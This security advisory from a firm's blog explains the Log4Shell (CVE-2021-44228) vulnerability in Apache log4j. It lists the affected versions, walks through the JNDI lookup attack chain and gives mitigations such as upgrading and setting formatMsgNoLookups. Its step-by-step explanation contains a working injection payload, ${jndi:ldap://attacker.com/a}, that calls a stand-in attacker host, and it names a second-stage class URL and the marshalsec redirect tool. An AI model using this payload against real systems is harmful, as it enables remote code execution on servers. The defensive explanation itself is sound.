Log4Shell, a critical zero-day vulnerability for a popular log4j library

---

A popular Apache log4j library, which is almost everywhere today, in servers run by Apple, Twitter, Valve, Cloudflare, basically anything that has Java in it (over 3 billion devices), suffered a critical zero-day vulnerability – vulnerability is called Log4Shell (CVE-2021-44228).
The vulnerability was awarded a 10/10 severity score, indicating maximum severity and potential impact if successfully exploited.
The log4j library, widely used to provide logging functionality in many enterprise and client applications, cloud services, and even games, potentially exposes hundreds of applications written in Java to the Log4Shell vulnerability.

What happened?

A zero-day RCE (Remote Code Execution) vulnerability was published yesterday, along with a POC (Proof of Concept) for the popular log4j Java library.

Who is affected?

Any application written in Java, if using vulnerable versions of log4j (2.0-beta9 up to and including 2.14.1).
CERTs (Computer Emergency Response Team) around the world are reporting that exploit is in the wild and being used. On Friday, 10.12. security analysts at Infigo IS have also observed and identified multiple attempts of the exploit execution in Croatian cyberspace.

Is it hard to exploit?

The mechanism used by the exploit is fairly complex, but the exploit itself is very easy to accomplish.
This is all it takes to compromise a vulnerable server:

1. Data from the User gets sent to the server (via any protocol)
2. The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server)
3. The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI)
4. This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process,
5. This injected payload triggers a second stage and allows an attacker to execute arbitrary code
6. From this point onwards, an attacker can execute any code on the compromised server

What to do?

1.  A new version of the log4j library has been released, version 2.15.0, but since many enterprises can't simply slap a new version, upgrading could take time
2. If you use old, vulnerable versions, you could set a property formatMsgNoLookups to "true" to prevent lookups (-Dlog4j2.formatMsgNoLookups=true)
3. You could also modify logging patterns as specified on the official Apache web page
4. As a temporary fix you could block any outgoing traffic that is not required; if you have a server running a Java application that only needs to accept incoming traffic, prevent everything outgoing

Infigo IS' SOC clients have received new custom signatures that detect Log4Shell vulnerability and its exploitation. Internal IT teams should, as soon as possible, take measures to mitigate vulnerability through the beforementioned steps.

A few more details

The vulnerability comes through JNDI (Java Naming and Directory Interface) API lookup feature in the log4j library; the lookup enables variables to be fetched via JNDI, and log4j supports LDAP and RMI (Remote Method Invocation) queries.
That means that log4j when it encounters a JNDI reference in the log file, will go to the resource and fetch it to resolve a required variable. This is the part when it can download remote classes and execute them.

An attacker can use a JNDI reference to fetch marshalsec package (made by Moritz Bechler, available on GitHub) that has the ability to redirect the JNDI lookup to the custom codebase over HTTP protocol.

And that is it – an application, server or client-side, fetches the class and executes it. An attacker can do anything with it.
Our CTO, Bojan Zdrnja, made a simple example of an attacker getting a shell in a few easy steps, and, unfortunately, it works like a charm.